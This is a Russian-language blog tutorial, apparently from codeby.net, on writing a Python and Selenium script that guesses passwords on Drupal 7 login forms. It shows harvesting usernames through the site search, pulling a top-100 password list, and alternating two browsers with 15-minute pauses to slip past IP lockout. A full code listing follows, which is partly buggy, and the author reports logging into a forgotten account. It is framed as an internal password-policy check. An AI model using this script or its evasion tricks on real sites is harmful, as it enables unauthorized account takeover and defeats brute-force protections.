Python+Selenium.Перебор пароля в формах авторизации.

Python+Selenium.Перебор пароля в формах авторизации.

@webware

t.me/webware

Введение
Приветствую всех специалистов и заинтерисованных Информационной Безопасностью на этом замечательном ресурсе. Хотел бы начать цикл своих статей, возможно кому-нить пригодится в работе или сподвигнет на изучение языков программирования.

Пожалуй начнем!Я считаю, что каждый ИБ-спец должен уметь программировать, хотя бы функционально, но уметь. Лучший вариант для изучения конечно же Python, он удобен и прост, а так же он прекрасно подходит для автоматизации повседневных задач на скучной работе.

Сегодня мы напишем скрипт(программу, кому как удобнее) для проверки паролей на сайте c формой авторизации со своими маленькими фишками. Я по своей работе столкнулся с CMS Drupal 7, поэтому и скрипт написан под него.

Подготовка
Представим, что в организации, где вы работаете есть сайт и так совпали звезды, что на него завязана довольно серьезная работа, в моем случае это была отчетность и некоторые цифры, которые меняются очень часто для продажи/покупки билетов разных стран. То есть это вполне себе актив, который нужно защищать.

И вот Вы - молодой специалист ИБ находите на нем форму авторизации и решаете проверить самую первую политику на нем — парольную. Сказано — делаем!

Для того, что бы проверить на пароли CMS нужно хотя бы знать логины для данного сайта, не перебирать же любые, а на сайте нет никакой информации по пользователю, который её опубликовал. Нас выручит поиск по сайту, почему(?), он как раз и выдает в результатах поиска пользователей данного сайта, проверенно на многих подобных, работает. Вводим «1» в поиск, что бы логинов вывалило побольше и собираем Profit.

Поиск логинов пользователей:

Как видно из рисунка нам хватит и одного для написания скрипта. Хорошо, логины есть, а как же пароли, спросите Вы. Для простой проверки я просто вбил в Google «top 100 password» и забрал первый попавшийся список, который выдал мне знаменитый поисковик.

Выбор автоматизации

Работать с формами сайта, да еще и это все автоматизировать, да желательно наглядно, в этом вопросе нас выручит модуль Selenium - инструмент для тестирования веб-форм.

Для его работы нужны «некие драйверы»: chromedriver для работы с браузером chrome и geckodriver для работы с браузером Firefox.

Зачем нужно два браузера? Я подумал, а почему бы и нет, политики сайта возможно настроены так, что бы мониторить количество запросов с одного ip-адреса и в случае чего заблокировать доступ на какое-то время. А если мы будем эмулировать два(три) браузера с какой-либо периодичностью, то может быть сойдем за некий NAT и сервер подумает, что нас много, просто IP один (Но это не точно).

Находим вышеописанные драйверы на страницах проекта selenium и складываем их в папку проекта. Не забываем так же подтянуть и сам selenium:

pip3 install -U selenium 

Отлично половина дела уже сделана, остается написать наш код.

Пишем код
Для начала мы подключим все необходимые модули в наш проект:

# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary

Что бы было все по взрослому, мы используем стандартный модуль agparser для создания некоего меню. Описываем функцию для того, что бы наш скрипт принимал аргументы из командной строки, аргументов будет два: логин и url формы авторизации:

def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser

Теперь напишем свой класс. Почему класс? А тут я отвечу так, я учился писать классы и решил, что было бы круто его сюда вставить, описываем класс который примет аргументы из вышеописанной функции:

class CheckPassForm():
def __init__(self,url,login):
            self.urls = url
            self.login = login

Далее мы опишем метод класса который будет поочередно вызывать метод основной логики нашего скрипта и добавим как раз в вызов нужные нам браузеры:

def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)               
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source

А вот самое интересное, метод класса, который работает непосредственно с формой авторизации:

def ChooseDriver (drivername,urls,login,passwd):
    
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
    
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()       

А откуда же берутся пароли?! Да вот же они в кортеже keys, я их разместил прямо в теле класса, что бы не засорять статью я оставил их три:

keys = ('123456, 12345, password')

Заканчиваем с нашим скриптом. Пропишем его похитрее, сделаем некую защиту от дурака, постараемся поймать все неправильные вводы, используя try/except и пропишем мини-хелп:

if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
 
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)

Логика

Опишем логику нашего скрипта чуть поподробнее:

Забираем аргументы из консоли:

parser = createParser()
data = parser.parse_args()

Создаем инстанс класса и отдаем ему наши аргументы:

instance = CheckPassForm('http://' + data.url,data.login)

instance.PasswordChekers()

PasswordChekers(self) - метод который посчитает длину кортежа keys, где хранятся пароли и примет решение на четный пароль вызывать chrome, на нечетный firefox и отдаст их арументы и выбор браузера методу ChooseDriver().

ChooseDriver() - метод который откроет наш браузер, вставит в адресную строку url, найдет элементы полей авторизации: edit-name и edit-pass. Внесет в них необходимые данные.
После этого скрипт отыщет кнопку по Xpath щелкнет по нему, выждет 15 минут и закроет драйвер.

Так как у нас работает цикл for, то все действия с п.3 по п.4 повторятся заново, но с другим браузером.

Конечно я уже слышу вопросы, а как же найти элементы формы, для этого мне пришлось прослушать лекцию по автоматизации неизвестного мне лектора, который показал это очень наглядно в браузере Firefox:


Снизу выпадает инспектор с выделенным элементом, правой кнопкой мыши тычем по этому элементу:

Скопированный результат используем в нашем скрипте, аналогично ищутся элементы html edit-name и edit-pass.

Запуск

Давайте уже запустим и проверим как же оно все работает, я использую сайт, который точно знаю по какому url у него адрес формы авторизации, но логин намеренно использую не тот который нашел для демонстрации работы:

Запускается первый браузер:

Через 15 минут второй:

Результат в обоих случаях отрицательный:

Заключение

Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях. В статье намеренно использован Drupal 7, так как он имеет политику блокировки IP по большому количеству запросов на форму авторизации, скрипт намеренно не описывает логику поведения после получения авторизации.

Скрипт был реально применен мной в своей работе, каково же было мое удивление, что на втором пароле прошла авторизация по давно забытому логину.
Листинг кода:

# -*- coding:utf-8 -*-
from selenium import webdriver
from selenium.webdriver.chrome import service
from selenium.webdriver.common.keys import Keys
from time import sleep
import os
import sys
import argparse
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary

'''Большое количество запросов кидает в блок'''
 
def createParser ():
    parser = argparse.ArgumentParser(description='Process some value\'s')
    parser.add_argument('-url', '--u' , help = 'Add url admin form for drupal like www.site.org/user',dest='url')
    parser.add_argument ('-login', '--l', help='Add user what you want to check',dest='login')
    return parser


'''Класс драйвера и методов'''

class CheckPassForm():
  
    keys = ('123456, 12345, password')
  
    def __init__(self,url,login):
            self.urls = url
            self.login = login
  
    def ChooseDriver (drivername,urls,login,passwd):
      
        if drivername == 'Chrome':
            driver = webdriver.Chrome()
        else:
            binary = FirefoxBinary (r'C:\\Program Files\\Mozilla Firefox\\firefox.exe')
            fx_capabilities = DesiredCapabilities.FIREFOX.copy()
            fx_capabilities['marionette'] = True
            driver = webdriver.Firefox(firefox_binary=binary,capabilities=fx_capabilities)
      
        driver.get(urls)
        elem = driver.find_element_by_id("edit-name")
        elem.send_keys(login)
        elem_2 = driver.find_element_by_id("edit-pass")
        elem_2.send_keys(passwd)
        result = driver.find_element_by_xpath("//*[@id='edit-submit']")
        result.click()
        sleep(900)
        driver.close()     
  
    def PasswordChekers(self):
        keys = CheckPassForm.keys.split(', ')
        for i in keys:
            for j in range(0, len(keys)):
                if j%2 == 0:
                    CheckPassForm.ChooseDriver('Chrome',self.urls, self.login,i)                   
                else:
                    CheckPassForm.ChooseDriver('Firefox',self.urls, self.login,i)
        assert "No results found." not in driver.page_source
  

if __name__ == "__main__":
    try:
        parser = createParser()
        data = parser.parse_args()
  
        instance = CheckPassForm('http://' + data.url,data.login)
        instance.PasswordChekers()
    except TypeError:
        print ("=" * 50)
        print ("| TOP-100 passdw script does't work whitout keys | \n| \t try and watch> python main.py -h\t | ")
        print ("=" * 50)

Спасибо что прочитали и всем удачи!
Источник codeby.net